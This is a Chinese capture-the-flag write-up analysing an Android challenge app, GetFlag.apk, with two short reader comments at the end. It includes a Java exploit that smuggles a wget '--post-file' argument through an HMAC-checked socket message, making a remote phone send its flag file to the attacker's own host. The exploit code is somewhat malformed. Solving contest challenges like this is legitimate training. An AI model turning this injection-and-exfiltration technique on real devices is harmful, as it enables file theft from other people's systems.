XCTF战疫杯mobile

alittlehorse

XCTF战疫杯 mobile题解
     首先，将GetFlag.apk拉入android killer中，发现结构很简单，主要函数全在MainActivity中，发现它会在本地生成一个flag文件，里面写着FLAG{the_real_flag_is_in_the_remote_apk}，这是一个提示。我们猜测这题需要远程交互。

    然后分析程序主要流程：点击按钮调用ServerSocket_thread方法，在8080端口开一个servesocket,接受来自远程地数据，开辟Receive_Thread处理线程。
在Receive_Thread线程中，生成随机数i处理：接收输入流str，checkpayload(str,i)检查输入流，并读取messag中的数据，将数据输入到UI线程。

    现在我们定位到了关键方法：checkpayload方法，

    发现是对输入流中的message将进行HmacSHA1加密与check中的数据进行比较，如果通过，调用“Wget + message处理后的字符串”。


HmacsSHA1函数如下：


    经过查找Wget的用法。我们发现，Wget 有post-file的选项，可以将远程服务器上的文件post到本地。

    现在本地程序分析完毕。我们发现GetFlag这个app是一个服务端，应该在远程运行，端口号是8080，其在/data/data/com.xuanxuan.getflag/files/位置中生成了一个flag文件。


    那我们去哪里找IP信息呢，在Apk文件的结构中，assert是用于放应用程序的原始文件的，例如字体或者音乐等，程序运行的时候，可以通过API来获取这些信息。
具体结构见：https://ctf-wiki.github.io/ctf-wiki/android/basic_develop/basic_develop-zh/
    那我们找一下assert文件果然发现的secret.txt文件

    将其base64解码出来是：The%20IP%20of%20the%20remote%20phone%20is%20212.64.66.177，得到IP地址212.64.66.177。 那么我们现在只要构造消息，发送给212.64.66.177:8080,将远程的flag文件post到本地就可以得到flag惹。

package getflag;
import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.math.BigInteger;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Random;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
public class getflag {
public static void main(String[] args) {
    String payload = "--post-file /data/data/com.xuanxuan.getflag/files/flag {这里填你自己的地址和端口}";
    String json = "{\"message\":\""+payload+"\",\"check\":\"";  
    Socket socket =new Socket("212.64.66.177",8080);  
    OutputStream os=socket.getOutputStream();
    PrintWriter pw=new PrintWriter(os);  
    InputStream is=socket.getInputStream();  
    BufferedReader br=new BufferedReader(new InputStreamReader(is));
    String random = br.readLine();
    json=json+new BigInteger(1, HmacSHA1Encrypt(payload, random.replace("\n", ""))).toString(16)+"\"}";
    os.write(json.getBytes());
}
}
   public static byte[] HmacSHA1Encrypt(String str, String str2) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(str2.getBytes("UTF-8"), "HmacSHA1");
        Mac mac = Mac.getInstance("HmacSHA1");
        mac.init(secretKeySpec);
        return mac.doFinal(str.getBytes("UTF-8"));
    }
}

运行exp,就可以得到flag了，但是现在官方远程已经关了


GetFlag.apk文件：
链接：https://pan.baidu.com/s/1KvUQW88HPtWw6e1SysHdxA
提取码：kkfw

看，六眼飞鱼

向大佬低头

teenage1997

大佬的思路很棒